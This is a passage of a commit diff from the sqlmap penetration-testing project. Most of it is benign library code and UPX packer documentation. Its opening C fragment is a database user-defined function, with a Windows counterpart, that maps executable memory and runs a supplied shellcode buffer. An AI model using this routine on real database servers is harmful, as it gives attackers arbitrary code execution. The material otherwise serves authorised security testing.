addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

194
lib/contrib/magic.py Normal file
View File

@@ -0,0 +1,194 @@
#!/usr/bin/env python
"""
$Id$
Adam Hupp <adam@hupp.org>
Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/)
"""
import os.path
import ctypes
import ctypes.util
from ctypes import c_char_p, c_int, c_size_t, c_void_p
class MagicException(Exception): pass
class Magic:
"""
Magic is a wrapper around the libmagic C library.
"""
def __init__(self, mime=False, magic_file=None):
"""
Create a new libmagic wrapper.
mime - if True, mimetypes are returned instead of textual descriptions
magic_file - use a mime database other than the system default
"""
flags = MAGIC_NONE
if mime:
flags |= MAGIC_MIME
self.cookie = magic_open(flags)
magic_load(self.cookie, magic_file)
def from_buffer(self, buf):
"""
Identify the contents of `buf`
"""
return magic_buffer(self.cookie, buf)
def from_file(self, filename):
"""
Identify the contents of file `filename`
raises IOError if the file does not exist
"""
if not os.path.exists(filename):
raise IOError("File does not exist: " + filename)
return magic_file(self.cookie, filename)
def __del__(self):
try:
magic_close(self.cookie)
except Exception, _:
pass
_magic_mime = None
_magic = None
def _get_magic_mime():
global _magic_mime
if not _magic_mime:
_magic_mime = Magic(mime=True)
return _magic_mime
def _get_magic():
global _magic
if not _magic:
_magic = Magic()
return _magic
def _get_magic_type(mime):
if mime:
return _get_magic_mime()
else:
return _get_magic()
def from_file(filename, mime=False):
m = _get_magic_type(mime)
return m.from_file(filename)
def from_buffer(buffer, mime=False):
m = _get_magic_type(mime)
return m.from_buffer(buffer)
try:
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
magic_t = ctypes.c_void_p
def errorcheck(result, func, args):
err = magic_error(args[0])
if err is not None:
raise MagicException(err)
else:
return result
magic_open = libmagic.magic_open
magic_open.restype = magic_t
magic_open.argtypes = [c_int]
magic_close = libmagic.magic_close
magic_close.restype = None
magic_close.argtypes = [magic_t]
magic_close.errcheck = errorcheck
magic_error = libmagic.magic_error
magic_error.restype = c_char_p
magic_error.argtypes = [magic_t]
magic_errno = libmagic.magic_errno
magic_errno.restype = c_int
magic_errno.argtypes = [magic_t]
magic_file = libmagic.magic_file
magic_file.restype = c_char_p
magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck
_magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck
def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf))
magic_load = libmagic.magic_load
magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p]
magic_load.errcheck = errorcheck
magic_setflags = libmagic.magic_setflags
magic_setflags.restype = c_int
magic_setflags.argtypes = [magic_t, c_int]
magic_check = libmagic.magic_check
magic_check.restype = c_int
magic_check.argtypes = [magic_t, c_char_p]
magic_compile = libmagic.magic_compile
magic_compile.restype = c_int
magic_compile.argtypes = [magic_t, c_char_p]
except:
pass
MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging
MAGIC_SYMLINK = 0x000002 # Follow symlinks
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
MAGIC_MIME = 0x000010 # Return a mime string
MAGIC_CONTINUE = 0x000020 # Return all matches
MAGIC_CHECK = 0x000040 # Print warnings to stderr
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens

View File

@@ -5,6 +5,8 @@ $Id$
02/2006 Will Holcomb <wholcomb@gmail.com> 02/2006 Will Holcomb <wholcomb@gmail.com>
Reference: http://odin.himinbi.org/MultipartPostHandler.py
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
@@ -14,10 +16,12 @@ This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details. Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import mimetools import mimetools
import mimetypes import mimetypes
import os import os
@@ -33,7 +37,6 @@ class Callable:
def __init__(self, anycallable): def __init__(self, anycallable):
self.__call__ = anycallable self.__call__ = anycallable
# Controls how sequences are uncoded. If true, elements may be given # Controls how sequences are uncoded. If true, elements may be given
# multiple values by assigning a sequence. # multiple values by assigning a sequence.
doseq = 1 doseq = 1
@@ -44,15 +47,17 @@ class MultipartPostHandler(urllib2.BaseHandler):
def http_request(self, request): def http_request(self, request):
data = request.get_data() data = request.get_data()
if data is not None and type(data) != str: if data is not None and type(data) != str:
v_files = [] v_files = []
v_vars = [] v_vars = []
try: try:
for(key, value) in data.items(): for(key, value) in data.items():
if type(value) == file: if type(value) == file:
v_files.append((key, value)) v_files.append((key, value))
else: else:
v_vars.append((key, value)) v_vars.append((key, value))
except TypeError: except TypeError:
systype, value, traceback = sys.exc_info() systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
@@ -69,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
request.add_data(data) request.add_data(data)
return request return request
def multipart_encode(vars, files, boundary = None, buffer = None): def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None: if boundary is None:
boundary = mimetools.choose_boundary() boundary = mimetools.choose_boundary()
if buffer is None: if buffer is None:
buffer = '' buffer = ''
for(key, value) in vars: for(key, value) in vars:
buffer += '--%s\r\n' % boundary buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n' buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files: for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE] file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1] filename = fd.name.split('/')[-1]
@@ -89,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
# buffer += 'Content-Length: %s\r\n' % file_size # buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0) fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n' buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer return boundary, buffer
multipart_encode = Callable(multipart_encode) multipart_encode = Callable(multipart_encode)
https_request = http_request https_request = http_request

Binary file not shown.

138
lib/contrib/upx/doc/LICENSE Normal file
View File

@@ -0,0 +1,138 @@
-----BEGIN PGP SIGNED MESSAGE-----
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
http://www.nexus.hu/upx
http://upx.tsx.org
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
ABSTRACT
========
UPX and UCL are copyrighted software distributed under the terms
of the GNU General Public License (hereinafter the "GPL").
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
As a special exception we grant the free usage of UPX for all
executables, including commercial programs.
See below for details and restrictions.
COPYRIGHT
=========
UPX and UCL are copyrighted software. All rights remain with the authors.
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
UPX is Copyright (C) 1996-2000 Laszlo Molnar
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
GNU GENERAL PUBLIC LICENSE
==========================
UPX and the UCL library are free software; you can redistribute them
and/or modify them under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of
the License, or (at your option) any later version.
UPX and UCL are distributed in the hope that they will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING.
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
============================================
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
permission to freely use and distribute all UPX compressed programs
(including commercial ones), subject to the following restrictions:
1. You must compress your program with a completely unmodified UPX
version; either with our precompiled version, or (at your option)
with a self compiled version of the unmodified UPX sources as
distributed by us.
2. This also implies that the UPX stub must be completely unmodfied, i.e.
the stub imbedded in your compressed program must be byte-identical
to the stub that is produced by the official unmodified UPX version.
3. The decompressor and any other code from the stub must exclusively get
used by the unmodified UPX stub for decompressing your program at
program startup. No portion of the stub may get read, copied,
called or otherwise get used or accessed by your program.
ANNOTATIONS
===========
- You can use a modified UPX version or modified UPX stub only for
programs that are compatible with the GNU General Public License.
- We grant you special permission to freely use and distribute all UPX
compressed programs. But any modification of the UPX stub (such as,
but not limited to, removing our copyright string or making your
program non-decompressible) will immediately revoke your right to
use and distribute a UPX compressed program.
- UPX is not a software protection tool; by requiring that you use
the unmodified UPX version for your proprietary programs we
make sure that any user can decompress your program. This protects
both you and your users as nobody can hide malicious code -
any program that cannot be decompressed is highly suspicious
by definition.
- You can integrate all or part of UPX and UCL into projects that
are compatible with the GNU GPL, but obviously you cannot grant
any special exceptions beyond the GPL for our code in your project.
- We want to actively support manufacturers of virus scanners and
similar security software. Please contact us if you would like to
incorporate parts of UPX or UCL into such a product.
Markus F.X.J. Oberhumer Laszlo Molnar
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
Linz, Austria, 25 Feb 2000
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
OO03+ojZdO8=
=CS52
-----END PGP SIGNATURE-----

142
lib/contrib/upx/doc/README Normal file
View File

@@ -0,0 +1,142 @@
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
http://upx.sourceforge.net
WELCOME
=======
Welcome to UPX !
Please don't forget to read the file LICENSE - UPX is distributed
under the GNU General Public License (GPL) with special exceptions
allowing the distribution of all compressed executables, including
commercial programs.
INTRODUCTION
============
UPX is an advanced executable file compressor. UPX will typically
reduce the file size of programs and DLLs by around 50%-70%, thus
reducing disk space, network load times, download times and
other distribution and storage costs.
Programs and libraries compressed by UPX are completely self-contained
and run exactly as before, with no runtime or memory penalty for most
of the supported formats.
UPX supports a number of different executable formats, including
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
and Linux executables and kernels.
UPX is free software distributed under the term of the GNU General
Public License. Full source code is available.
UPX may be distributed and used freely, even with commercial applications.
See the UPX License Agreement for details.
UPX is rated number one in the well known Archive Comparison Test. Visit
http://compression.ca/ .
UPX aims to be Commercial Quality Freeware.
SHORT DOCUMENTATION
===================
'upx program.exe' will compress a program or DLL. For best compression
results try 'upx --brute program.exe'.
Please see the file UPX.DOC for the full documentation. The files
NEWS and BUGS also contain various tidbits of information.
DISCLAIMER
==========
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
Having said that, we think that UPX is quite stable now. Indeed we
have compressed lots of files without any problems. Also, the
current version has undergone several months of beta testing -
actually it's almost 8 years since our first public beta.
This is the first production quality release, and we plan that future
releases will be backward compatible with this version.
Please report all problems or suggestions to the authors. Thanks.
THE FUTURE
==========
- We'd really love to support handheld systems like the PalmPilot because
compression makes a lot of sense here. And - because of the atari/tos
format - we already have a working decompressor in 68000 assembly.
Unfortunately we know next to nothing about the operating system
architecture of such handhelds, so we need some information from
an expert. Please contact us if you think you can help.
- The Linux approach could probably get ported to a lot of other Unix
variants, at least for other i386 architectures it shouldn't be too
much work. If someone sends me a fresh hard disk and an official
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
- We will *NOT* add any sort of protection and/or encryption.
This only gives people a false feeling of security because
by definition all protectors/compressors can be broken.
And don't trust any advertisement of authors of other executable
compressors about this topic - just do a websearch on "unpackers"...
- Fix all remaining bugs - keep your reports coming ;-)
- See the file PROJECTS in the source code distribution if you want
to contribute.
COPYRIGHT
=========
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2008 Laszlo Molnar
Copyright (C) 2000-2008 John F. Reiser
This program may be used freely, and you are welcome to
redistribute it under certain conditions.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
UPX License Agreement for more details.
You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.
Share and enjoy,
Markus & Laszlo
Markus F.X.J. Oberhumer Laszlo Molnar
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
and holds no connection with potential owners of registered trademarks
or other rights. ]
[ Feel free to contact us if you have commercial compression requirements
or interesting job offers. ]

View File

@@ -0,0 +1,888 @@
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>upx - compress or expand executable files</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>
<body style="background-color: white">
<p><a name="__index__"></a></p>
<!-- INDEX BEGIN -->
<!--
<ul>
<li><a href="#name">NAME</a></li>
<li><a href="#synopsis">SYNOPSIS</a></li>
<li><a href="#abstract">ABSTRACT</a></li>
<li><a href="#disclaimer">DISCLAIMER</a></li>
<li><a href="#description">DESCRIPTION</a></li>
<li><a href="#commands">COMMANDS</a></li>
<ul>
<li><a href="#compress">Compress</a></li>
<li><a href="#decompress">Decompress</a></li>
<li><a href="#test">Test</a></li>
<li><a href="#list">List</a></li>
</ul>
<li><a href="#options">OPTIONS</a></li>
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></li>
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
<li><a href="#environment">ENVIRONMENT</a></li>
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
<ul>
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
</ul>
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
<li><a href="#bugs">BUGS</a></li>
<li><a href="#authors">AUTHORS</a></li>
<li><a href="#copyright">COPYRIGHT</a></li>
</ul>
-->
<!-- INDEX END -->
<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>upx - compress or expand executable files</p>
<p>
</p>
<hr />
<h1><a name="synopsis">SYNOPSIS</a></h1>
<p><strong>upx</strong> [&nbsp;<em>command</em>&nbsp;] [&nbsp;<em>options</em>&nbsp;] <em>filename</em>...</p>
<p>
</p>
<hr />
<h1><a name="abstract">ABSTRACT</a></h1>
<pre>
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar &amp; John Reiser
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
several different executable formats. It achieves an excellent compression
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
no memory overhead or other drawbacks for most of the formats supported,
because of in-place decompression.</p>
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
executables (for details see the file LICENSE), we would highly
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
is considered not politically correct ;-) ]</p>
<p>
</p>
<hr />
<h1><a name="disclaimer">DISCLAIMER</a></h1>
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
<p>This is the first production quality release, and we plan that future 1.xx
releases will be backward compatible with this version.</p>
<p>Please report all problems or suggestions to the authors. Thanks.</p>
<p>
</p>
<hr />
<h1><a name="description">DESCRIPTION</a></h1>
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
<pre>
- excellent compression ratio: compresses better than zip/gzip,
use UPX to decrease the size of your distribution !</pre>
<pre>
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
about 200 MiB/sec on an Athlon XP 2000+.</pre>
<pre>
- no memory overhead for your compressed executables for most of the
supported formats</pre>
<pre>
- safe: you can list, test and unpack your executables
Also, a checksum of both the compressed and uncompressed file is
maintained internally.</pre>
<pre>
- universal: UPX can pack a number of executable formats:
* atari/tos
* bvmlinuz/386 [bootable Linux kernel]
* djgpp2/coff
* dos/com
* dos/exe
* dos/sys
* linux/386
* linux/elf386
* linux/sh386
* ps1/exe
* rtm32/pe
* tmt/adam
* vmlinuz/386 [bootable Linux kernel]
* vmlinux/386
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
* win32/pe (exe and dll)
* arm/pe (exe and dll)
* linux/elfamd64
* linux/elfppc32
* mach/elfppc32</pre>
<pre>
- portable: UPX is written in portable endian-neutral C++</pre>
<pre>
- extendable: because of the class layout it's very easy to support
new executable formats or add new compression algorithms</pre>
<pre>
- free: UPX can be distributed and used freely. And from version 0.99
the full source code of UPX is released under the GNU General Public
License (GPL) !</pre>
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
executable packer.</p>
<p>
</p>
<hr />
<h1><a name="commands">COMMANDS</a></h1>
<p>
</p>
<h2><a name="compress">Compress</a></h2>
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
specified on the command line.</p>
<p>
</p>
<h2><a name="decompress">Decompress</a></h2>
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
<p>
</p>
<h2><a name="test">Test</a></h2>
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
decompressed. Note, that this command doesn't check the whole file, only
the part that will be uncompressed during program execution. This means
that you should not use this command instead of a virus checker.</p>
<p>
</p>
<h2><a name="list">List</a></h2>
<p>The <strong>-l</strong> command prints out some information about the compressed files
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
shows the compressed / uncompressed size and the compression ratio of
<em>yourfile.exe</em>.</p>
<p>
</p>
<hr />
<h1><a name="options">OPTIONS</a></h1>
<p><strong>-q</strong>: be quiet, suppress warnings</p>
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
<p><strong>--help</strong>: prints the help</p>
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
not supported for all formats yet. If you do care, as a workaround you can
compress and then decompress your program a first time - any further
compress-decompress steps should then yield byte-identical results
as compared to the first decompressed version.]</p>
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
<p>
</p>
<hr />
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></h1>
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
<ul>
<li>
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
</li>
<li>
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
</li>
<li>
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
</li>
<li>
<p>Compression level <strong>--best</strong> may take a long time.</p>
</li>
</ul>
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
files, but you definitely should use it when releasing a final version
of your program.</p>
<p>Quick info for achieving the best compression ratio:</p>
<ul>
<li>
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
</li>
<li>
<p>Try if <strong>--overlay=strip</strong> works.</p>
</li>
<li>
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
</li>
</ul>
<p>
</p>
<hr />
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
an executable, and it often contains application specific data
(this is a common practice to avoid an extra data file, though
it would be better to use resource sections).</p>
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
copies the overlay after the compressed image. This works with some
files, but doesn't work with others, depending on how an application
actually accesses this overlayed data.</p>
<pre>
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
<pre>
--overlay=strip Strip any overlay from the program instead of
copying it. Be warned, this may make the compressed
program crash or otherwise unusable.</pre>
<pre>
--overlay=skip Refuse to compress any program which has an overlay.</pre>
<p>
</p>
<hr />
<h1><a name="environment">ENVIRONMENT</a></h1>
<p>The environment variable <strong>UPX</strong> can hold a set of default
options for <strong>UPX</strong>. These options are interpreted first and
can be overwritten by explicit command line parameters.
For example:</p>
<pre>
for DOS/Windows: set UPX=-9 --compress-icons#0
for sh/ksh/zsh: UPX=&quot;-9 --compress-icons=0&quot;; export UPX
for csh/tcsh: setenv UPX &quot;-9 --compress-icons=0&quot;</pre>
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
environment variable because of a COMMAND.COM limitation.</p>
<p>Not all of the options are valid in the environment variable -
<strong>UPX</strong> will tell you.</p>
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
environment variable.</p>
<p>
</p>
<hr />
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
<p>
</p>
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
based personal computer which was popular in the late '80s. Support
of this format is only because of nostalgic feelings of one of
the authors and serves no practical purpose :-).
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
<p>Same as vmlinuz/i386.</p>
<p>
</p>
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65100 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some command line utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--no-reloc Use no relocation records in the exe header.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65350 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
